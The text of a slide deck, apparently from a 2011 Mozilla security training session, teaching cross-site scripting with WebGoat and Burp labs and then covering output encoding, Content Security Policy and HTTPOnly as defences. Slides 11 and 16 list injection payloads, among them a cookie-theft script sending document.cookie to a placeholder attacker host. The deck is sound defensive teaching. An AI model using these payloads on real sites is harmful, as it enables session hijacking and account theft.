  • 11. XSS Points of Attack • HTML Element Content <b>Hello <script>alert(1)</script></b> • HTML Attributes <input type="text" value=" "><script>alert(1)</script> " > <input type="text" value=" "onmouseover= " alert(1) " > • JavaScript <script>x='a'</script><script>alert(1);x= 'a'</script> • CSS #Xsstc { background-image: url('about:blank#Hello%20World'); } • HTML URL Parameters <a href="http://www.site.com?test= "><script>alert(1)</script><hr >
  • 12. Variations • Reflected • Attack code not stored in vulnerable site • Exploit delivered via malicious link • Stored • Attack code stored in vulnerable site • User exploited by visiting vulnerable page • Dom • Client side only, no server record
  • 13. Agenda • Business risk of XSS • Understanding the vulnerability • Attack scenarios • Mitigation techniques • Security enhancements
  • 14. WebGoat • Click First Link - OWASP WebGoat version 5.3.x • Username / Password is guest / guest
  • 15. Setup • http://people.mozilla.org/~mcoates/ WebSecurityLab.html#installation • http://bit.ly/MozLab • Download Virtual Box, OWASP Broken Web App VM
  • 16. Cross Site Scripting (XSS) • Problem: User controlled data returned in HTTP response contains HTML/JavaScript code • Impact: Session Hijacking, Full Control of Page, Malicious Redirects • Basic XSS Test: “ ><script>alert(document.cookie)</script> • Cookie Theft Example: “><script>document.location='http://attackersite/ '+document.cookie</script>
  • 18. Reflected XSS Lab • Lesson: Cross-Site Scripting->Reflected XSS Attacks • Proxy Not Needed
  • 19. Using A Proxy • Burp - Configure to listen on 8080 • Ensure “loopback only” is checked (will be by default)
  • 20. Set Firefox Proxy • Set Firefox proxy to 8080 • Preferences -> Advanced -> Network -> Settings • Set HTTP Proxy • Important - clear “No Proxy for” line
  • 21. Confirm Setup Works • Refresh Web Browser - it should hang • Go to Burp -> Proxy -> Intercept (they are highlighted) • Click “Forward” for all messages • Should now see page in browser
  • 22. Confirm Setup Works • Intercept is on • Each request will be caught by proxy • Requires you to hit forward each time • Intercept is off • Requests sent through proxy automatically • Logged in tab “proxy”->”history”
  • 23. “Hello World” of Proxies • Lesson: General->Http Basic • Objective: • Enter your name into text box • Intercept with proxy & change entered name to different value • Receive response & observe modified value is reversed Joe Sue Attacker’s euS euS Web Proxy Web Server Browser
  • 25. Stored XSS Lab • Lesson: Cross-Site Scripting->Stored XSS Attacks • Proxy Not Needed
  • 26. Agenda • Business risk of XSS • Understanding the vulnerability • Attack scenarios • Mitigation techniques • Security enhancements
  • 27. XSS Prevention • Solution 1. Output Encoding - converts command characters to benign characters 2. Input Validation - secondary, best practice View Source: View Source: <td>test message - <td>test message - “><script>alert(docu &quot;&gt;&lt;script&gt;ale ment.cookie)</ rt(document.cookie)&lt;/ script> script&gt; </td></tr> </td></tr>
  • 28. Agenda • Business risk of XSS • Understanding the vulnerability • Attack scenarios • Mitigation techniques • Security enhancements
  • 29. Content Security Policy (CSP) • CSP - New defensive control to eliminate XSS Name:_____ • Allows web site to specify where JavaScript can be loaded submit from • Injected JavaScript via XSS is CSP Policy rendered inert X-Content- • Violations & potential XSS Security-Policy: allow 'self'; img-src attacks are reported to web site for investigation 'self' data:
  • 30. XSS Example with CSP (1) Attacker submits malicious code javascript Name:_____ submit (2) CSP prevents script execution (3) Site safe to use <div class=”featured”> <form action=”/en-US/firefox/ users/login” method=”post” id=”login” class=”featured-inner object-lead”> Name:_____ javascript <div> <input type=”hidden” submit name=”data[Login][referer]” value=”/en-US/developers/addons” id=”LoginReferer” /><input Violation report sent to site.com/CSPalert
  • 31. Implementing CSP • Some code changes needed to externalize JavaScript • Run CSP in report only mode to test • Enable CSP and protect users with browsers supporting CSP • Receive alerts on potential vulnerabilities in app and quickly address to protect remaining users
  • 32. CSP Violation Reporting • Violations of CSP policy reported to specified URL X-Content-Security-Policy: • Acts as XSS intrusion allow self; report-uri http:// reportcollector.example.com/ detection system collector.cgi • CSP supported in portion of site users, XSS IDS benefits all • Reported data is from client, trust accordingly
  • 33. CSP Violation Reporting CSP Violation javascript • Report Includes: • HTTP Request Violation report sent to site.com/CSPalert • request-headers • blocked-uri • violation-directive • original-policy
  • 35. Other CSP Benefits • Prevent ClickJacking via frame-ancestors • Control embedded frames via frame-src • Control domains for images via img-src • Control target domains via xhr-src • Enforce specific protocols (https://*.foo.com) • Future enhancement to control actions & malicious forms
  • 36. Protecting Outdated Users • HTTPOnly mitigates one of XSS impacts - session hijacking • Supported in all recent browsers • Easy, opt-in security control to protect users Attacker’s Site javascript Cookie: SessionID
  • 37. Summary • XSS • Untrusted user data not properly handled in response • Exists with user data in HTML, JavaScript, CSS, etc • Defensive Design • Encode for context - HTML Entity encoding, JavaScript encoding, etc • Content Security Policy - Strong layer of defense • HTTPOnly flag - Easy add for some benefits • More Info - OWASP XSS Prevention Cheat Sheet
  • 38. Next Sessions • Upcoming • August 16, 2011 - Hands-On Hacking Brownbag - SQL Injection • August 25, 2011 - OWASP Bay Area Chapter Meeting • https://wiki.mozilla.org/WebAppSec#Schedule • https://blog.mozilla.com/webappsec/

Hinweis der Redaktion

  1. \n
  2. \n
  3. \n
  4. \n
  5. \n
  6. \n
  7. \n
  8. \n
  9. \n
  10. \n
  11. \n
  12. \n
  13. \n
  14. \n
  15. \n
  16. \n
  17. \n
  18. \n
  19. \n
  20. \n
  21. \n
  22. \n
  23. \n
  24. \n
  25. \n
  26. \n
  27. \n
  28. \n
  29. \n
  30. \n
  31. \n
  32. \n
  33. * request\nThe HTTP request line leading to the policy violation; this includes the method, resource path, and HTTP version.\n* request-headers\nThe HTTP headers that were sent resulting in a violation of the Content Security Policy.\n* blocked-uri\nThe URI of the resource that was blocked from loading by the Content Security Policy. This is not sent in the cast of frame-ancestors\nviolations; in that case, you should assume the blocked URI is the same as the request URI.\n* violated-directive\nThe name of the policy section that was violated.\n* original-policy The original policy as specified by the X-Content-Security-Policy HTTP header.\n
  34. \n
  35. \n
  36. \n
  37. \n
  38. \n